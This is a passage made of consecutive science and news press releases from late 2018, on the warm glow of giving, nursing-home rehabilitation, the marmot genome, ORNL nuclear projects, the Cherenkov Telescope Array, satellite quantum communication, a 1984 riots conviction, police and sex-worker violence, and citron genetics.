the happiness reported by those who kept their winnings. Further analyses ruled out some potential alternative explanations, such as the possibility that participants who gave to others had to think longer and harder about what to give, which could promote higher happiness. "We considered many such possibilities, and measured over a dozen of them," says O'Brien. "None of them could explain our results; there were very few incidental differences between 'get' and 'give' conditions, and the key difference in happiness remained unchanged when controlling for these other variables in the analyses." Adaptation to happiness-inducing experiences can be functional to the extent that it motivates us to pursue and acquire new resources. Why doesn't this also happen with the happiness we feel when we give? The researchers note that when people focus on an outcome, such as getting paid, they can easily compare outcomes, which diminishes their sensitivity to each experience. When people focus on an action, such as donating to a charity, they may focus less on comparison and instead experience each act of giving as a unique happiness-inducing event. We may also be slower to adapt to happiness generated by giving because giving to others helps us maintain our prosocial reputation, reinforcing our sense of social connection and belonging. These findings raise some interesting questions for future research - for example, would these findings hold if people were giving or receiving larger amounts of money? Or giving to friends versus strangers? The researchers have also considered looking beyond giving or receiving monetary rewards, since prosocial behavior includes a wide range of experiences. "Right now we're testing repeated conversation and social experiences, which also may get better rather than worse over time," O'Brien explains. ### Both experiments were preregistered and all data and materials have been made available online via the Open Science Framework. This article has received the badges for Open Data, Open Materials, and Preregistration. For more information about this study, please contact: Ed O'Brien at eob@chicagobooth.edu. The APS journal Psychological Science is the highest ranked empirical journal in psychology. For a copy of the article "People Are Slow to Adapt to the Warm Glow of Giving" and access to other Psychological Science research findings, please contact Anna Mikulak at 202-293-9300 or amikulak@psychologicalscience.org. After a hospital stay, many older adults will be discharged to a skilled nursing facility to recover. The goal of this type of short-term nursing care is to help patients regain their ability to function and perform their daily activities to the best of their ability so they can return home, if possible. Cognitive impairment is when you have difficulties with memory and your ability to think and make decisions. Some studies have examined how cognitive impairment can affect recovery for nursing home residents. But recently, the Centers for Medicare and Medicaid Services (CMS) added new ways to measure patients' abilities to perform their daily routines in nursing facilities and other after-care settings. So far, studies have not examined how skilled nursing care residents who have cognitive difficulties perform on the new self-care and mobility measurements. Researchers designed a new study to fill that knowledge gap. Using new measurements, it examines changes in residents' self-care and their ability to get around. The study was published in the Journal of the American Geriatrics Society. Participants in the study were Medicare Part A beneficiaries who stayed in a skilled care facility between January 1 and June 30, 2017, but who had not stayed in one in 2016. The study included 246,395 skilled nursing home stays. The researchers used these measures of self-care and mobility: Eating Oral hygiene Ability to use/get to the toilet Moving from a sitting to lying position Moving from a lying to sitting position Moving from a sitting to standing position Ability to move from chair or bed to chair These items were scored by health professionals in the nursing homes when residents were admitted and discharged. They used a scale to measure residents' mobility. The scale ranged from 1 (Dependent: Helper does all of the effort) to 6 (Independent: Resident completes the activity by themselves with no assistance from a helper). The average length of stay in the nursing facilities was 24 days and most residents were between 65 and 84 years old. Sixty-eight percent of residents had no cognitive impairment when they were admitted to the nursing facility, 18.3 percent had mild impairment, 11.8 percent had moderate impairment, and 1.7 percent had severe impairment. About 20 percent of the participants had an active diagnosis of a fracture, 30 percent had diabetes, and 27 percent had psychiatric mood disorders. Almost half the participants experienced some urinary incontinence and half had fallen in the last six months. The researchers learned that the participants' cognitive status significantly affected their scores. Residents with severe cognitive impairment scored lower than those who were cognitively intact. When they were discharged, residents with severe cognitive impairment scored about one point higher than when they were admitted. This is compared to residents who had no cognitive problems, who scored about two points higher when they were discharged. Nearly all of the residents who had no cognitive difficulties at admission improved their ability to get around. In contrast, 87 percent of those with severe cognitive impairments improved. The researchers concluded that residents with more severe cognitive problems didn't improve as much in terms of self-care and mobility as did residents who were cognitively intact when they were admitted. The researchers thus suggested that residents with cognitive impairment may need additional support and more intense rehabilitation to make the same gains as residents who are cognitively intact. p align="center">### This summary is from "Relationship between functional improvement and cognition in short-stay nursing home residents" It appears online ahead of print in the Journal of the American Geriatrics Society. The study authors are Lacey Loomer, MSPH; Brian Downer, PhD; and Kali Thomas, PhD, MA. About the Health in Aging Foundation This research summary was developed as a public education tool by the Health in Aging Foundation. The Foundation is a national non-profit established in 1999 by the American Geriatrics Society to bring the knowledge and expertise of geriatrics healthcare professionals to the public. We are committed to ensuring that people are empowered to advocate for high-quality care by providing them with trustworthy information and reliable resources. Last year, we reached nearly 1 million people with our resources through HealthinAging.org. We also help nurture current and future geriatrics leaders by supporting opportunities to attend educational events and increase exposure to principles of excellence on caring for older adults. For more information or to support the Foundation's work, visit http://www.HealthinAgingFoundation.org. About the Journal of the American Geriatrics Society Included in more than 9,000 library collections around the world, the Journal of the American Geriatrics Society (JAGS) highlights emerging insights on principles of aging, approaches to older patients, geriatric syndromes, geriatric psychiatry, and geriatric diseases and disorders. First published in 1953, JAGS is now one of the oldest and most impactful publications on gerontology and geriatrics, according to ISI Journal Citation Reports. Visit wileyonlinelibrary.com/journal/JGS for more details. About the American Geriatrics Society Founded in 1942, the American Geriatrics Society (AGS) is a nationwide, not-for-profit society of geriatrics healthcare professionals that has--for 75 years--worked to improve the health, independence, and quality of life of older people. Its nearly 6,000 members include geriatricians, geriatric nurses, social workers, family practitioners, physician assistants, pharmacists, and internists. The Society provides leadership to healthcare professionals, policymakers, and the public by implementing and advocating for programs in patient care, research, professional and public education, and public policy. For more information, visit AmericanGeriatrics.org. Himalayan marmots can survive at altitudes up to 5,000 meters in the Himalayan regions of India, Nepal, and Pakistan and on the Qinghai-Tibetan Plateau of China, where many of them face extreme cold, little oxygen, and few other resources. Now, researchers have sequenced the first complete Himalayan marmot genome, which may help them to better explain how the marmots live in such extremes. The findings, which appear December 20 in the journal iScience, hint at the genetic mechanisms underlying high-altitude adaptation and hibernation, the researchers say. They also serve as a valuable resource for researchers studying marmot evolution, highland disease, and cold adaptation. "As one of the highest-altitude-dwelling mammals, the Himalayan marmot is chronically exposed to cold temperature, hypoxia, and intense UV radiation," said Enqi Liu of Xi'an Jiaotong University Health Science Center in China. "They also hibernate for more than six months during the wintertime." Those striking biological features led Liu and his team, including first author Liang Bai, to consider the Himalayan marmot as an ideal animal model for studying the molecular mechanisms of adaptation to extreme environments. To begin, they sequenced and assembled a complete draft genome of a male Himalayan marmot. They also re-sequenced 20 other Himalayan marmots, including individuals living at high and low altitudes, and four other marmot species. Additionally, RNA sequencing was done to compare gene-expression differences between marmots in a state of torpor and awake marmots. The DNA data show that the Himalayan marmot diverged from the Mongolian marmot about 2 million years ago. The researchers identified two genes, Slc25a14 and Aamp (a processed pseudogene), that have been selected in different directions in marmots living at low versus high altitudes, suggesting they are related to survival in high-altitude populations under conditions of extremely low oxygen. They further suggest that Slc25a14 may have an important neuroprotective role. The shift in Aamp affects the stability of RNA encoding the gene Aamp, which may be a protective strategy to prevent the excess growth of new blood vessels under extremely low-oxygen conditions. The RNA sequencing data show that gene-expression changes occur in the liver and brain during hibernation. These include genes in the fatty acid metabolism pathway as well as blood clotting and stem cell differentiation. Interestingly, a previous study suggested that because the hibernator's brain is exposed to near-freezing temperatures and has decreased blood flow, there is an increased risk of blood clots, the researchers note. Their brain stem cells may also be better prepared to repair injuries as an adaptation needed to survive extreme environmental stresses. The researchers say they plan to continue improving the quality of the Himalayan marmot's genome. They note that the Himalayan marmot is also known for being highly susceptible to woodchuck hepatitis virus and is a natural host and transmitter of the plague to humans. "We will elucidate the immune system features responsible for the hepatitis virus and bacterial infection," Liu said. ### This research was supported by the Natural Science Foundation of Shaanxi Province, National Natural Science Foundation of China, Qinghai Province Grant for Science and Technology Capacity Building, and China Postdoctoral Science Foundation Grant. iScience, Liu et al.: "Hypoxic and cold adaptation insights from the Himalayan marmot genome" https://www.cell.com/iscience/fulltext/S2589-0042(18)30224-4 iScience (@iScience_CP) is a new open-access journal from Cell Press that provides a platform for original research in the life, physical, and earth sciences. The primary criterion for publication in iScience is a significant contribution to a relevant field combined with robust results and underlying methodology. Visit: http://www.cell.com/iscience. To receive Cell Press media alerts, contact press@cell.com. The Department of Energy's Oak Ridge National Laboratory is collaborating with industry on six new projects focused on advancing commercial nuclear energy technologies that offer potential improvements to current nuclear reactors and move new reactor designs closer to deployment. DOE support for these industry-led projects provides each company access to ORNL's nuclear experts and facilities. The total funding for projects involving ORNL is approximately $9.5 million, and additional industry cost-sharing for two projects pushes the total value to approximately $12 million. "We are excited to have an opportunity to help answer some of industry's toughest questions. The diversity of work will leverage a wide range of our world-leading nuclear expertise in modeling and simulation, materials, security, fusion and fission," said Alan Icenhour, associate laboratory director for the Nuclear Science and Engineering Directorate at ORNL. "As a national lab, we want to partner with industry as part of ensuring a promising future for nuclear energy. This funding will allow us to continue to grow those collaborations." Two of the projects are supported through a DOE Office of Nuclear Energy program, US Industry Opportunities for Advanced Nuclear Technology Development: Exelon Generation and ORNL will pursue improved modeling and simulation techniques of boiling water reactors, which could enhance current reactor operations and advanced reactor development. Leveraging the ORNL-based Consortium for Advanced Simulation of Light Water Reactors, the partnership will take current modeling tools that mainly simulate pressurized water reactors and expand them for use in simulating BWRs. Idaho National Laboratory and multiple universities will also support this project. ORNL will work with Analysis and Measurement Services Corporation and Pacific Northwest National Laboratory on the development criteria testing for age-related deterioration of nuclear power plant cables and cable insulation. ORNL will provide cable characterization expertise and also modify current facilities to accommodate more robust testing. DOE-NE's Gateway for Accelerated Innovation in Nuclear is funding four projects that include ORNL as a partner facility: Exelon Corporation will partner with ORNL to perform a feasibility study for the enrichment of gadolinium-157 using the plasma separation process. By using an enriched form of gadolinium in the fuel designs of current reactors, nuclear power plants could potentially reduce fuel costs by more than $100 million annually in the United States. As a leader in plasma and fusion nuclear science, ORNL will assist Exelon in determining if modern technology will make the process economically feasible. ORNL will work with Eastman and INL on the design and analysis of an integrated nuclear hybrid energy system. ORNL's extensive expertise in advanced reactor technology makes the lab an ideal partner to analyze the operational performance, cost and reliability of a nuclear power-based system as a possible energy source in Eastman's long-term energy strategy. NexDefense, Inc. will partner with ORNL in analyzing the company's cybersecurity software for use in nuclear reactors. The project will detail benefits of the software and also analyze potential cyber vulnerabilities in nuclear reactor operating systems. Westinghouse Electric Company and ORNL will develop and evaluate alumina-forming austenitic stainless steels for lead-cooled fast reactor applications. In optimizing such a material for various parts of the reactor, the project team seeks to overcome the key hurdle of high temperature lead compatibility. ORNL has an extensive history investigating liquid metal compatibility and in developing alumina-forming alloys for extreme environments. Scientists from ORNL and the industry partners will serve as leads for each project. In the case of Exelon Generation and ORNL's work to deliver more robust modeling and simulation for boiling water reactor applications, the effort will deliver multiple benefits. "The continued development of advanced modeling and simulation software under this project will play a vital role not only for improved reactivity and thermal margin predictions but also for continued advancement of new fuel products and designs, such as accident tolerant fuel and its deployment to current operating boiling water reactors," said Mehdi Asgari, deputy director of the Light Water Reactor Sustainability Program Technical Integration Office and ORNL's primary investigator for the project with Exelon Generation. "The development of these advanced modeling and simulation technologies for boiling water reactors will enhance the operational performance, efficiency and safety of the light water reactor fleet." ### The six projects are part of the third round of funding provided through this DOE funding opportunity announcement. In total, DOE has provided nearly $100 million in 2018 to support private-public partnerships developing innovative nuclear technologies. UT-Battelle, LLC, manages ORNL for DOE's Office of Science. The Office of Science is the single largest supporter of basic research in the physical sciences in the United States and is working to address some of the most pressing challenges of our time. For more information, please visit https://science.energy.gov. The Cherenkov Telescope Array (CTA - https://www.eso.org/public/teles-instr/paranal-observatory/cta/ ) is the next-generation ground-based instrument designed to detect very high energy gamma rays, with sites in both the southern and northern hemispheres. Gamma rays are electromagnetic radiation of very high energy, emitted by the hottest and most extreme objects in the Universe -- supermassive black holes, supernovae and maybe even remnants of the Big Bang. On 19 December 2018, Federico Ferrini, Managing Director of the Cherenkov Telescope Array Observatory (CTAO - http://www.cta-observatory.org/ ), met with ESO's Director General, Xavier Barcons, at the ESO offices in Santiago, Chile. Together with ESO's Director for Operations, Andreas Kaufer, and other ESO members of personnel, they signed the agreement for the construction and operation of CTA's southern array within ESO's Paranal site in northern Chile. Deputy Minister of Foreign Relations of Chile Carolina Valdivia Torres and ESO's Director General also signed the agreement that enables ESO to host CTA-South at the Paranal Observatory site, as an ESO Programme. A third agreement was already signed on 17 December 2018 between the Chilean National Commission for Science and Technology (CONICYT - https://www.conicyt.cl/ ) and CTAO. This cooperation agreement aims at fostering astronomical research in Chile, capitalising on the opening of a new observational window as enabled by CTA-South. With these three agreements in place, the CTAO will be able to begin construction on the southern site. The Instituto de Astrofisica de Canarias will host CTA's northern hemisphere array at the Observatorio del Roque de los Muchachos on the island of La Palma, Spain. Construction of both the northern and southern arrays is expected to begin in 2020. "Operating CTA at Paranal will open a new window on the Universe for astronomers in the ESO Member States, Chile, and worldwide," commented ESO's Director General, Xavier Barcons. "ESO's rich experience of maintaining and operating fleets of telescopes in remote areas will be invaluable for the CTA project." The southern site of CTA is only 11 kilometres southeast of the location of the Very Large Telescope at ESO's Paranal Observatory in the Atacama Desert, and only 16 kilometres from the construction site of the upcoming Extremely Large Telescope. This is one of the driest and most isolated regions on Earth -- an astronomical paradise. In addition to the ideal conditions for year-round observation, installing CTA at the Paranal Observatory provides it with the advantages of ESO's infrastructure. The existing infrastructures and facilities, and ESO's long-lasting experience spearheading international astronomical projects in Chile, will all support the construction and operation of the new telescope array. "Thanks to the agreements signed today, the CTAO will not only benefit from Chile's spectacular night sky but also from ESO's facilities and deep experience, which will be an invaluable contribution to the realisation of this ambitious system of telescopes," said Federico Ferrini. "The partnership between ESO and the CTAO will serve as the cornerstone in the fast-growing era of multi-messenger astrophysics, providing an opportunity for further collaboration with other large infrastructures, such as the Atacama Large Millimeter/submillimeter Array (ALMA), the Square Kilometre Array (SKA) and state-of-the-art gravitational-wave interferometers." Current Cherenkov telescope arrays, sensitive to very high-energy gamma rays, consist of only a handful of individual telescopes, but CTA -- with its larger collecting area and excellent angular resolution -- will be the largest and most sensitive array of gamma-ray telescopes in the world. It will detect gamma rays with unprecedented accuracy and will be 10 times as sensitive as any of its predecessors. Although the Earth's atmosphere prevents gamma rays from reaching the surface, CTA's mirrors and high-speed cameras will capture the short-lived flashes of the eerie blue Cherenkov radiation produced when gamma rays interact with Earth's atmosphere. By detecting this Cherenkov light, scientists will be able to trace the gamma ray back to its cosmic source. The scientific scope of CTA is extremely broad: from understanding the role of relativistic cosmic particles to the search for dark matter. CTA will explore the extreme Universe, probing environments from the immediate neighbourhood of black holes to the cosmic voids on the largest scales. It may even lead to brand new physics as it studies the nature of matter and forces beyond the standard model. CTA will operate across two sites, one in each hemisphere, allowing it to maximise its coverage of the night sky. When construction is complete, the CTAO will comprise 19 telescopes in the northern hemisphere -- located at the Observatorio del Roque de los Muchachos on the island of La Palma in the Canary Islands -- and 99 telescopes in the southern hemisphere. More than 1400 scientists and engineers from countries across five continents are engaged in the scientific and technical development of CTA. The shareholders of the current legal entity -- CTAO gGmbH -- are the representatives of ministries and funding agencies from Australia, Austria, the Czech Republic, France, Germany, Italy, the Netherlands, Japan, Slovenia, South Africa, Spain, Switzerland and the United Kingdom [1]. They are currently preparing for the establishment of a European Research Infrastructure Consortium ) -- the CTAO ERIC -- which will then construct the immense observatory. The ERIC will be composed of CTAO's Member States and associated countries. ### Notes [1] The Netherlands and South Africa are participating in the CTAO gGmbH as observers. More information CTA is a global initiative to build the world's largest and most sensitive high energy gamma-ray observatory. More than 1400 scientists and engineers from countries across five continents (Armenia, Australia, Austria, Bulgaria, Brazil, Canada, Chile, Croatia, the Czech Republic, Finland, France, Germany, Greece, India, Ireland, Italy, Japan, Mexico, Namibia, the Netherlands, Norway, Poland, Slovenia, South Africa, Spain, Sweden, Switzerland, Thailand, the United Kingdom, the United States of America and Ukraine) and more than 200 research institutes are participating in the CTA project. CTA will be the foremost global observatory for very high energy gamma-ray astronomy in the next decade and beyond, as well as the first ground-based gamma-ray astronomy observatory open to the astronomical and particle physics communities worldwide. ESO is the foremost intergovernmental astronomy organisation in Europe and the world's most productive ground-based astronomical observatory by far. It has 16 Member States: Austria, Belgium, the Czech Republic, Denmark, France, Finland, Germany, Ireland, Italy, the Netherlands, Poland, Portugal, Spain, Sweden, Switzerland and the United Kingdom, along with the host state of Chile and with Australia as a Strategic Partner. ESO carries out an ambitious programme focused on the design, construction and operation of powerful ground-based observing facilities enabling astronomers to make important scientific discoveries. ESO also plays a leading role in promoting and organising cooperation in astronomical research. ESO operates three unique world-class observing sites in Chile: La Silla, Paranal and Chajnantor. At Paranal, ESO operates the Very Large Telescope and its world-leading Very Large Telescope Interferometer as well as two survey telescopes, VISTA working in the infrared and the visible-light VLT Survey Telescope. ESO is also a major partner in two facilities on Chajnantor, APEX and ALMA, the largest astronomical project in existence. And on Cerro Armazones, close to Paranal, ESO is building the 39-metre Extremely Large Telescope, the ELT, which will become "the world's biggest eye on the sky". Links * The Cherenkov Telescope Array website - http://www.cta-observatory.org/ * ESO's CTA page - https://www.eso.org/public/teles-instr/paranal-observatory/cta/ * Current CTA shareholders - https://www.cta-observatory.org/about/governance/ Contacts Megan Grunewald Outreach and Communications Officer / CTAO gGmbH Heidelberg, Germany Tel: +49 6221 516471 Email: mgrunewald@cta-observatory.org Calum Turner ESO Public Information Officer Garching bei Munchen, Germany Tel: +49 89 3200 6655 Cell: +49 151 1537 3591 Email: pio@eso.org Mariya Lyubenova ESO Outreach Astronomer Garching bei Munchen, Germany Tel: +49 89 3200 6188 Email: mlyubeno@eso.org Researchers in Italy have demonstrated the feasibility of quantum communications between high-orbiting global navigation satellites and a ground station, with an exchange at the single photon level over a distance of 20,000km. The milestone experiment proves the feasibility of secure quantum communications on a global scale, using the Global Navigation Satellite System (GNSS). It is reported in full today in the journal Quantum Science and Technology. Co-lead author Dr Giuseppe Vallone is from the University of Padova, Italy. He said: "Satellite-based technologies enable a wide range of civil, scientific and military applications like communications, navigation and timing, remote sensing, meteorology, reconnaissance, search and rescue, space exploration and astronomy. "The core of these systems is to safely transmit information and data from orbiting satellites to ground stations on Earth. Protection of these channels from a malicious adversary is therefore crucial for both military and civilian operations. "Space quantum communications (QC) represent a promising way to guarantee unconditional security for satellite-to-ground and inter-satellite optical links, by using quantum information protocols as quantum key distribution (QKD)." The team's results show the first exchange of a few photons per pulse between two different satellites in the Russian GLONASS constellation and the Space Geodesy Centre of the Italian Space Agency. Co-lead author Professor Paolo Villoresi said: ""Our experiment used the passive retro-reflectors mounted on the satellites. By estimating the actual losses of the channel, we can evaluate the characteristics of both a dedicated quantum payload and a receiving ground station. "Our results prove the feasibility of QC from GNSS in terms of achievable signal-to-noise ratio and detection rate. Our work extends the limit of long-distance free-space single-photon exchange. The longest channel length previously demonstrated was around 7,000 km, in an experiment using a Medium-Earth-Orbit (MEO) satellite that we reported in 2016." Although high-orbit satellites pose a large technological challenge, due to losses from optical channels, Professor Villoresi explained the team's reasoning for focussing on high-orbiting satellites in their study. He said: "The high orbital speed of low earth orbit (LEO) satellites is very effective for the global coverage but limits their visibility periods from a single ground station. On the contrary, using satellites at higher orbits can extend the communication time, reaching few hours in the case of GNSS. "QC could also offer interesting solutions for GNSS security for both satellite-to-ground and inter-satellite links, which could provide novel and unconditionally secure protocols for the authentication, integrity and confidentiality of exchanged signals." Dr. Giuseppe Bianco, which is the Director of the Space Geodesy Centre of the Italian Space Agency and co-author, said "The single photon exchange with a GNSS satellite is an important result for both scientific and application perspectives. It fits perfectly in the Italian roadmap for Space Quantum Communications, and it is the latest achievement of our collaboration with the University of Padua which is steadily progressing since 2003." ### Sajjan Kumar has moved an application before Delhi High Court seeking 30 days time to surrender. On December 17, the Delhi High Court convicted Sajjan Kumar in an anti-Sikh riots case and sentenced him to life imprisonment. (Photo: File | PTI) New Delhi: Former Congress leader Sajjan Kumar, who has been convicted and sentenced to life imprisonment in 1984 anti-Sikh riots case, has asked Delhi High Court for 30 days to surrender. The former parliamentarian has moved an application before the high court seeking 30 days time to surrender, news agency ANI reported. The court is likely to hear his application on Friday. HS Phoolka, advocate in 1984 anti-Sikh riots, said that he will oppose Sajjan Kumars application in the court. Sajjan Kumar has filed an application in Delhi High Court to give him a month to surrender. We will oppose that application tomorrow, Phoolka said. On December 17, the Delhi High Court convicted Sajjan Kumar in an anti-Sikh riots case after reversing the trial courts order acquitting him in the case and sentenced him to life imprisonment. The case related to the murder of five members of a family in Raj Nagar area and torching of a gurudwara during the anti-Sikh riots in Delhi on November 1, 1984. The court asked the 73-year-old former MP to surrender before December 31. It also directed him to not leave Delhi and levied a fine of Rs 5 lakh on him. A day after being convicted and sentenced, Sajjan Kumar resigned from the primary membership of the Congress in a letter to party president Rahul Gandhi. The more abusive interactions street-based female sex workers (FSWs) have with police, the higher their risk of violence at the hands of clients, a new study by researchers at the Johns Hopkins Bloomberg School of Public Health suggests. The findings suggest the need for interventions that address relationships between FSW and police to help alleviate negative impacts on FSW work environments, the authors say. The findings will be published Dec. 20 in American Journal of Public Health. "It's no secret that street-based sex work can be dangerous in the context of criminalization," says senior author Susan Sherman, PhD, a professor in the Bloomberg School's Department of Health, Behavior and Society. Research suggests that, globally, FSWs experience considerable work-related violence, including physical, verbal and sexual abuse, robbery, kidnapping and murder. (Over their lifetime, the prevalence rate for work-related violence among FSWs is 45 to 75 percent.) But, she adds, the role of the police in this violence against this vulnerable population hasn't been well understood. The study, which involved 250 FSWs, found that FSWs interact with the police--not only because of the illegal nature of their jobs, but because many are engaged in the drug market, says Katherine Footer, MSc, assistant scientist at the Bloomberg School and the paper's lead author. An analysis of the study data showed that all participating FSWs had experienced police interactions in their lifetimes, with nearly half having weekly encounters and about one in 10 having daily police encounters. These interactions ranged from regular patrol or enforcement activities, such as asking the women to move along or performing a routine stop, to abusive, such as verbal or emotional harassment or sexual harassment or assault. Excluding arrest, 92 percent had experienced at least one patrol/enforcement activity, and 78 percent had experienced at least one abusive encounter in their lifetime. The research is part of the SAPPHIRE study, short for Sex Workers and Police Promoting Health in Risky Environments. Launched earlier this year by a team at the Bloomberg School, SAPPHIRE's research will examine the type, frequency and associations of police practices with FSW's work-related risks, including violence. For this study, the researchers gathered data from 250 Baltimore cis-gender FSWs recruited between April 2016 and January 2017. The researchers found these volunteers by waiting at specific locations they identified using a combination of publicly available arrest data, emergency services calls, a "johns" website and 300 hours of police ride-alongs. When potential study participants came in contact with study staff, the researchers asked a few screening questions to confirm that they were street-based FSWs and invited those who qualified to participate. These volunteers then answered a series of questions administered by interviewers on a variety of topics, including sociodemographic factors, their history of sex work and drug use, the nature and frequency of their interactions with police and any client-related violence. Participants also underwent testing for HIV and common sexually transmitted infections. Drug use appeared to boost the frequency and type of police encounters; for example, 42 percent of daily heroin users reported that at least one patrol/enforcement activity occurred weekly and 14 percent reported that at least one abusive encounter occurred over the same time frame, compared to 25 percent and five percent, respectively among other participants. Client violence was also common among participants--more than half had experienced physical or sexual client violence in the past three months. The researchers found that for every additional type of patrol/enforcement practice experienced, FSWs had 1.3 times the odds of experiencing client violence. In addition, each additional type of abusive police interaction was associated with a 30 percent increase in the odds of experiencing client violence. Although the study didn't examine the exact mechanism of police interactions associated with client violence, Sherman says, the build-up of frequent negative interactions accumulated over months and years promotes mistrust or fear of the police. Studies have previously linked this mistrust to different types of riskiness that might boost the odds of client violence, including rushing of client negotiations and moving to unfamiliar or unsafe areas. "Criminalization and social marginalization place female sex workers in persistent positions of vulnerability," says Footer. "The fact that we found these two factors to be conjoined speaks to the clustering of the incredible risks to these women." Decriminalizing sex work would help alleviate the pressure that intensifies this risk, Sherman adds. But in an environment of continued illegality, there are still structural interventions that could help improve sex worker safety, she says. For example, she and her colleagues helped launch a drop-in center where FSWs can not only take care of basic needs, such as showering or doing their laundry, but also seek assistance in filing complaints about abusive interactions with the police. They have also developed a "know your rights" brochure and talk to women about how to protect themselves in police interactions. The paper underscores the importance of the impact of police and their responsibility in reducing their harmful behaviors. On the police side, Sherman and her colleagues suggest developing training specifically to address how police treat FSWs and having an ombudsman in police departments specifically for sex workers to make sure their voices are heard. Most importantly, the authors note that modifying the enabling environment for client-perpetrated violence, including legal enforcement approaches and abuses, that may contribute to a climate of impunity around client-perpetrated violence and police misconduct is critical. ### "Police-Related Correlates of Client-Perpetrated Violence Among Female Sex Workers in Baltimore City, Maryland" was written by Katherine H. A. Footer, Ju Nyeong Park, Sean T. Allen, Michele R. Decker, Bradley E. Silberzahn, Steve Huettner, Noya Galai and Susan G. Sherman. This work was supported by the National Institute of Drug Research (R01DA038499-01). Genetic detective work has illuminated the important role of Jewish culture in the widespread adoption of citrus fruit by early Mediterranean societies. The fascinating find came to light in an investigation into a bizarre acidless mutation which makes citrus juice 1000 times less acidic. John Innes Centre researchers used genetic analysis to trace the acidless mutations in citron, the first citrus species to be cultivated in the Mediterranean. "Some people thought that this was a recent mutation that originated in Corsica, or somewhere in the Mediterranean, but we have found that this is not new. It's an ancient mutation that is present in Chinese fingered citrons known as Buddha's Hands and those used in the Sukkot Jewish ritual," explains Dr Eugenio Butelli of the John Innes Centre and first author of the paper. The acidless mutations have captivated botanists and breeders for centuries and appear in many citrus varieties including citron, sweet lime, limetta, lemon and sweet orange. Acidless citrus fruit have also lost the ability to produce anthocyanin pigments, that give a blush of dark red to leaves, flowers and, sometimes, flesh. The researchers identified a gene, which they called Noemi, as the key factor behind the regulation of fruit acidity. Analysis also revealed that this gene works in partnership with another, named Ruby, to control anthocyanin production. The study identified specific mutations affecting the Noemi gene in several acidless citrus species and hybrids. These acidless fruits are often referred to as sweet or insipid because of the reduction in fruit acidity and are highly prized citrons (Etrog in Hebrew) used in the Jewish harvest festival of Sukkot. One of these mutations matched those found in fingered citron varieties first cultivated in China 3300 years ago. This confirmed that this mutation originated before the arrival of citron into the Mediterranean. Further analysis revealed that the same ancient Noemi allele characteristic of the acidless trait was present in the Yemen citron, an ancient variety traditionally used in the Sukkot tradition since the time of the destruction of the first temple in 587 B.C.E. Another variety traditionally used in the Sukkot ritual, the Greek citron, also bore the same genetic hallmark. The analysis suggests that the authentic Jewish Etrog used ritually was an acidless one, an idea supported by a reference to "sweet citron" in the Jewish legal text, the Talmud, dating from 200 C.E. The study which appears in Current Biology illuminates the path of domestication of citron. It supports the view that the spread of citron in Mediterranean regions was facilitated by its adoption in Jewish culture as an important religious symbol. Some scholars speculate that Jews in exile in Babylonia brought the citron back to Palestine. Why was this sweet, or insipid citrus, with plain white flowers and leaves drained of colour, the chosen fruit? "Citron was first cultivated for its medicinal properties in China and its rind was used as a medicinal product, not as a food" explains Professor Cathie Martin of the John Innes Centre and a co-author on the study. "By the time it reached the Mediterranean in Roman times, citron was a luxury item used for its fragrance to keep linen fresh. The presence of white flowers in the acidless mutation seems important because they are a symbol of purity and we speculate that there was a strong selection for the loss of anthocyanins, which normally add colour to leaves and flowers." Citron is one of four primary species that make up the citrus genus, a complex group of flowering plants with notable nutritional, medicinal and aromatic value. Despite becoming one of the world's most economically important fruit crops, its history of evolution and domestication has remained obscure until recently. The characterisation of Noemi provides researchers with an important genetic marker opening a fascinating landscape for genetic analysis of seeds found amid the burials of the ancient world and fossil remains from even further back in time. The study also gives researchers the information they need to develop fruit of the future - to modulate their level of acidity and to increase their content of health-protecting anthocyanin compounds. "If you could introduce these mutations stably in lemon, for example, you could make lemonade which does not need so much added sugar in it, making it healthier to drink and better for growing teeth." explains Professor Martin. ### The full study: Noemi controls production of flavonoid pigments and fruit acidity and illustrates the domestication routes of modern citrus varieties, is published in Current Biology. The full report: https://www.cell.com/current-biology/fulltext/S0960-9822(18)31539-2. DOI: 10.1016/j.cub.2018.11.040 Pictures/Media and captions: https://drive.google.com/open?id=19h3CEB4uf6L2xN3mrctG7gwGnUyNulp7 Notes for Editors Contacts Press Contact: Adrian Galvin - Adrian.Galvin@jic.ac.uk Tel: 01603 450238/07989 339598 About the John Innes Centre The John Innes Centre is an independent, international centre of excellence in plant science and microbiology. Our mission is to generate knowledge of plants and microbes through innovative research, to train scientists for the future, to apply our knowledge of nature's diversity to benefit agriculture, the environment, human health, and wellbeing, and engage with policy makers and the public. To achieve these goals we establish pioneering long-term research objectives in plant and microbial science, with a focus on genetics. These objectives include promoting the translation of research through partnerships to develop improved crops and to make new products from microbes and plants for human health and other applications. We also create new approaches, technologies and resources that enable research advances and help industry to make new products. The knowledge, resources and trained researchers we generate help global societies address important challenges including providing sufficient and affordable food, making new products for human health and industrial applications, and developing sustainable bio-based manufacturing. This provides a fertile environment for training the next generation of plant and microbial scientists, many of whom go on to careers in industry and academia, around the world. The John Innes Centre is strategically funded by the Biotechnology and Biological Sciences Research Council (BBSRC), and is supported by the John Innes Foundation through provision of research accommodation, capital funding and long-term support of the Rotation PhD programme. For more information about the John Innes Centre visit our website http://www.jic.ac.uk About BBSRC The Biotechnology and Biological Sciences Research Council (BBSRC) is part of UK Research and Innovation, a non-departmental public body funded by a grant-in-aid from the UK government. BBSRC invests in world-class bioscience research and training on behalf of the UK public. Our aim is to further scientific knowledge, to promote economic growth, wealth and job creation and to improve quality of life in the UK and beyond. Funded by government, BBSRC invested 469 million in world-class bioscience in 2016-17. We support research and training in universities and strategically funded institutes. BBSRC research and the people we fund are helping society to meet major challenges, including food security, green energy and healthier, longer lives. Our investments underpin important UK economic sectors, such as farming, food, industrial biotechnology and pharmaceuticals For more information about BBSRC, our science and our impact, and for more information about BBSRC strategically funded institutes visit our website. During the conversion of light into electricity, such as in solar cells, a large part of the input light energy is lost. This is due to the behaviour of electrons inside of materials. If light hits a material, it stimulates electrons energetically for a fraction of a second, before they pass the energy back into the environment. Because of their extremely short duration of a few femtoseconds - a femtosecond is one quadrillionth of a second - these processes have hardly been explored to date. A team from the Institute of Experimental and Applied Physics at Kiel University (CAU), under the direction of Professor Michael Bauer and Professor Kai Ronagel, has now succeeded in investigating the energy exchange of the electrons with their environment in real time, and thereby distinguishing individual phases. In their experiment, they irradiated graphite with an intense, ultrashort light pulse and filmed the impact on the behaviour of electrons. A comprehensive understanding of the fundamental processes involved could be important in future for applications in ultrafast optoelectronic components. The research team has published these findings in the current edition of the journal Physical Review Letters. The properties of a material depend on the behaviour of its constituent electrons and atoms. A basic model to describe the behaviour of electrons is the concept of the so-called Fermi gas, named after the 